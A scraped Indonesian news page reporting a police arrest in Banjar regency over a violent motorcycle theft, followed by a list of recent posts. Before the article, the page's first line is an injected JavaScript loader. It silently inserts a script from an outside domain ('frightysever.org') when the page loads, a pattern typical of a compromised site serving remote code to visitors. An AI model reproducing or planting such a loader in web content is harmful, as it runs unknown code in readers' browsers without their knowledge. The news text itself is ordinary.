(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Pelaku Curas Diringkus, Ahim Ternyata Pernah Terjerat Kasus Curanmor dan Obat-obatan!


MARTAPURA, Tim Khusus Antisipasi Premanisme (TEKAP) Polres Banjar bersama Anggota Reskrim Polsek Gambut meringkus pelaku pencurian dan kekerasan yang terjadi di Persimpangan Jalan Gubernur Soebardjo, Desa Malintang Kecamatan Gambut,  Kabupaen Banjar, Senin (16/7).

Dalam kasus ini pelaku berjumlah 2 orang dan 1 yang telah berhasil diringkus yaitu Abdul Rahim alias Ahim (38) warga Jalan Pemangkih Darat RT 001/ RW 001 Desa Pemangkih Darat Kecamatan Tatah Makmur Kabupaten Banjar.

Kasat Reskrim Polres Banjar AKP Sofyan melalui Kanit Tekap Ipda Nur Arifin mengungkapkan kedua tersangka telah melakukan tindak pidana  pencurian dengan kekerasan berupa 1 unit sepeda motor Sepeda Motor Merk Suzuki Fu 150 SC  tahun 2005. “Benar pada hari Sabtu kemarin, sekitar pukul 23.30 wita. Pelaku ini melakukan pencurian dengan kekerasan berupa 1 unit sepeda motor Sepeda Motor,” ungkapnya

Kejadian bermula ketika korban Nurjannah (28) yang saat itu sedang mengendarai sepeda motor miliknya, sedang melintas di Persimpangan Jalan Gubernur Soebardjo. Tiba-tiba saja korban dipepet dan ditendang  oleh 2 orang laki-laki yang tidak dikenal yang saat itu mengendarai sepeda motor Honda Revo berwarna Hitam. Beruntung tendangan tersebut tidak membuat korban terjatuh. Merasa takut kemudian Nurjannah menghentikan laju kendaraanya dan berhenti di pinggir jalan.

Selanjutnya kedua tersangka tersebut mendatangi Nurjannah dan langsung mendorongnya bersama dengan sepeda motor milik korban hingga terjatuh. Tidak sampai disitu kedua pelaku juga melancarkan aksi pemukulan dibagian kepala korban menggunakan tangan kanan.

Puas menganiyaya Nurjannah kedua tersangka membangunkan sepeda motor milik korban, namun korban mencoba untuk mempertahankan sepeda motor miliknya. Tidak lama kemudian datang seorang saksi yang mencoba menolong korban.  Melihat hal itu, kedua tersangka akhirnya melarikan diri dengan membawa sepeda motor milik korban.

Atas kejadian tersebut korban mengalami kerugian Rp. 12.000.000 dan mengalami sakit bagian kepala terasa pusing dan luka lebam/memar di tangan sebelah kiri. Nurjannah pun segera melaporkan persitiwa ini ke Polsek Gambut guna proses hukum lebih lanjut.

Menerima laporan tersebut, Kapolsek Gambut AKP Purnoto, S.H didampingi dengan Kanit Reskrim Ipda H. Ruspandi serta Kanit Intelkam Bripka Edy Purwanto serta melakukan penyelidikan dan mendapatkan infromasi tentang keberadaan pelaku.

Bersama Tim Khusus Antisipasi Premanisme (Tekap) Polres Banjar, Polsek Gambut langsung meluncur ke Desa Pemangkih Baru Kecamatan Tatah Makmur Kabupaten Banjar dan  berhasil mengamankan Ahim beserta barang bukti sepeda motor  Honda Revo warna Hitam No. Pol DA 2813 JY yang digunakan sebagai sarana saat aksinya pada sabtu malam tersebut.

Ipda Nur Arifin menambahkan setelah ditangkapnya Ahim, pihaknya kemudian melakukan pencarian terhadap temannya tersangka yang ikut serta dalam peristiwa malam itu. Namun saat akan diringkus di tempat tinggalnya pelaku sudah tidak ada.

“Tersangka satu lagi yang merupakan temannya Ahim itu sudah kita kantongi identitasnya, tapi saat penyergapan dia sudah tidak ada lagi di rumahnya. Saat ini kami masih melakukan pengejaran” tambahnya

Atas penangkapan terhadap Ahim, Pihak Kepolisian berhasil mengamankan barang bukti berupa 1 unit sepeda motor Honda Revo warna hitam No. Pol  DA 2813 JY, 1 lembar T-Shirt warna hitam, 1 lembar Jaket warna putih dan 1 unit Sepeda motor Satria Fu 150 SC  tahun 2005 warna biru hitam No. Pol :  DA 4751 VR.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Gambut AKP Purnoto mengungkapkan dari hasil interogasi, sebelumnya Ahim juga pernah mendekam di sel tahanan karena kasus Curanmor dan dan Obat Obatan terlarang.

“Jadi tersangka Ahim ini pernah terjerat Kasus Curanmor di wilayah hokum Polresta Banjarmasin dan pernah terjerat kasus menjual obat – obatan (Carnophen/zenith)” pungkas Kapolsek Gambut. (rico)

Reporter:Rico
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

6 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

7 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

7 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

14 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

15 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.